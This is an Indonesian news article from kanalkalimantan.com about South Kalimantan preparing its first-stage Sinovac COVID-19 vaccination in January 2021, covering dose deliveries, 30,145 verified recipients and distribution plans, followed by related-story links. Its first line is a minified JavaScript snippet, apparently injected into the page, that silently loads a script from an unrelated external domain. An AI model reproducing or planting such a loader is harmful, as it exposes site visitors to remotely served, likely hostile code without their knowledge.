(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi (Pemprov) Kalimatan Selatan mempersiapkan pelaksanaan vaksinasi Covid-19 tahap pertama yang dijadwalkan berlangsung Januari ini.
Gubernur Kalimantan Selatan H Sahbirin Noor mengungkapkan, pentingnya persiapan ini agar proses vaksinasi berjalan seperti apa yang diharapkan. Mengutip instruksi Presiden Joko Widodo, maka ujarya, perlu ada tahapan-tahapan yang penting yang perlu dikaji lebih mendalam.
“Pelaksanaannya memang harus melalui tahapan. Ada kriteria-kriteria tertentu yang perlu ditekankan. Nantinya, penyuntikan vaksin pertama diawali bapak Presiden. Lalu semua kepala daerah harus ikut termasuk saya sendiri,” kata Sahbirin, usai mengikuti rapat virtual, Rabu (6/1/2021).
Sebagaimana diketahui, sebanyak 25.000 dosis vaksin Sinovac asal China telah tiba di Kalsel, Selasa (5/1/2021). Itu merupakan distribusi vaksin tahap pertama dari total vaksin yang akan dikirim sebanyak 54.000 dosis vaksin.
Kepala Dinas Kesehatan (Dinkes) Kalsel Muslim mengatakan, untuk pengiriman vaksin tahap dua dijadwalkan pekan depan.
Sedangkan untuk distribisi vaksin di masing-masing Kabupaten Kota yang ada di Kalsel, katanya menunggu terbitnya izin kedaruratan dari pihak Badan Pengawasan Obat dan Makanan (BPOM).
“Sembari menunggu izin keluar, kita menyiapkan dari sisi sasaran. Contohnya, menyiapkan sarana prasarana di seluruh fasilitas kesehatan, tempat dilaksakannya penyuntikan vaksin. Dan hari ini kita nyatakan kesiapannya sudah 100 persen,” terangnya.
Selain itu, Muslim juga menerangkan bahwa pihaknya telah merampungkan proses verifikasi ihwal jumlah penerima vaksin nantinya. Dalam hal ini, ia menyebut ada 30.145 orang di Kalsel yang akan disuntik vaksin Sinovac.
“Jumlah itu berdasarkan data yang sudah kita verifikasi. Penyuntikan vaksin dilakukan sebanyak 2 kali untuk 1 orang,” bebernya.
Dengan jumlah penerimanya sebanyak 30.145 orang dengan dua kali proses penyuntikan, tentu alokasi 54.000 dosis vaksin yang dikirim ke Kalsel berpotensi tidak cukup. Hal itu sendiri turut diakui Kepala Dinkes Kalsel.
Memang idealnya jumlah vaksin itu 2 kali lipat dari jumlah penerimanya. Tapi sebagaimana diketahui, ada kriteria sesuai profil vaksin. Contohnya vaksin Sinovac ini, yang penerimanya berusia dari 18 sampai 59 tahun.
“Jadi, 30.145 orang itu akan tersaring. Sebagai antisipasi, data penerima vaksin di Kalsel tetap kita laporkan ke pemerintah pusat,” lugasnya.
Disinggung soal pendistribusian vaksin di wilayah yang terpisah pulau, contohnya Kabupaten Kotabaru, Muslim menyatakan telah menyiapkan skenarionya. Namun sampai saat ini dirinya menjelaskan belum ada arahan prioritas wilayah.
“Jadi ada 2 skenario pendistribusian vaksin di seluruh wilayah Kalsel. Apakah itu secara serentak di 13 Kabupaten Kota atau diposisikan di wilayah ibu kota dan sekitarnya saja. Nah, ini kita masih menunggu arahan,” tandasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.